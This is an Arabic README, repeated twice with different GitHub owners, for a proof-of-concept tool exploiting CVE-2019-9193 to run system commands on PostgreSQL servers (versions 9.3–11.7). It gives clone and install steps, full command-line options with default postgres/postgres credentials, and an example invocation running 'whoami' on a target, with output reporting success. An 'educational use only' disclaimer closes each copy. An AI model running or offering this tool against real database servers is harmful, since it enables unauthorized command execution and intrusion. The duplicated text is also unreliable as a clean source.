
أداة إثبات المفهوم (PoC) مصممة لاستغلال ثغرة تنفيذ كود عن بعد (RCE) مصادق عليها في إصدارات معينة من PostgreSQL (9.3 - 11.7)
GenPostgresRCEExploit هي أداة إثبات مفهوم (PoC) مصممة لاستغلال ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) تتطلب المصادقة في إصدارات معينة من PostgreSQL (9.3 - 11.7). تتيح للمستخدمين المصادَق عليهم تنفيذ أوامر النظام على خادم قاعدة بيانات PostgreSQL المعرّض للثغرة CVE-2019-9193.
psycopg2 من pip)git clone https://github.com/AxthonyV/CVE-2019-9193
cd CVE-2019-9193
uv sync
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"
-i، --ip: عنوان IP لخادم PostgreSQL (الافتراضي: 127.0.0.1)-p، --port: منفذ خادم PostgreSQL (الافتراضي: 5432)-d، --database: اسم قاعدة بيانات PostgreSQL (الافتراضي: template1)-U، --user: اسم المستخدم للاتصال بخادم PostgreSQL (الافتراضي: postgres)-P، --password: كلمة المرور للاتصال بخادم PostgreSQL (الافتراضي: postgres)-c، ---command: أمر النظام المراد تنفيذه على الخادم-t، --timeout: مهلة الاتصال بالثواني (الافتراضي: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
يتصل هذا المثال بخادم PostgreSQL على 192.168.1.10، ويوثّق باستخدام بيانات الاعتماد المقدَّمة، وينفّذ الأمر whoami.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
هذه الأداة مخصصة للأغراض التعليمية والاختبار الأخلاقي فقط. يُعد الاستخدام غير المصرح به لهذه الأداة ضد أي أنظمة غير قانوني ومحظور تمامًا. ولا يتحمل المؤلفون مسؤولية أي إساءة استخدام.
GenPostgresRCEExploit هو استغلال PoC مصمم لاستغلال ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) في إصدارات معينة من PostgreSQL (9.3 - 11.7). يتيح البرنامج للمستخدمين المصادق عليهم تنفيذ أوامر النظام على خادم PostgreSQL المعرض لثغرة CVE-2019-9193.
psycopg2)git clone https://github.com/geniuszly/CVE-2019-9193
cd CVE-2019-9193
uv sync
python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"
-i، --ip: عنوان IP لخادم PostgreSQL (الافتراضي: 127.0.0.1)-p، --port: منفذ خادم PostgreSQL (الافتراضي: 5432)-d، --database: اسم قاعدة بيانات PostgreSQL (الافتراضي: template1)-U، --user: اسم المستخدم للاتصال بخادم PostgreSQL (الافتراضي: postgres)-P، --password: كلمة المرور للاتصال بخادم PostgreSQL (الافتراضي: postgres)-c، --command: أمر النظام المراد تنفيذه على الخادم-t، --timeout: مهلة الاتصال بالثواني (الافتراضي: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
في هذا المثال، يتصل البرنامج بخادم PostgreSQL على 192.168.1.10، ويوثّق باستخدام بيانات الاعتماد المحددة، وينفّذ الأمر whoami.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
هذه الأداة مخصصة للأغراض التعليمية والاختبار القانوني فقط. يُعد الاستخدام غير المصرح به لهذه الأداة ضد أي أنظمة غير قانوني ومحظور تمامًا. ولا يتحمل المؤلفون أي مسؤولية عن أي إساءة استخدام.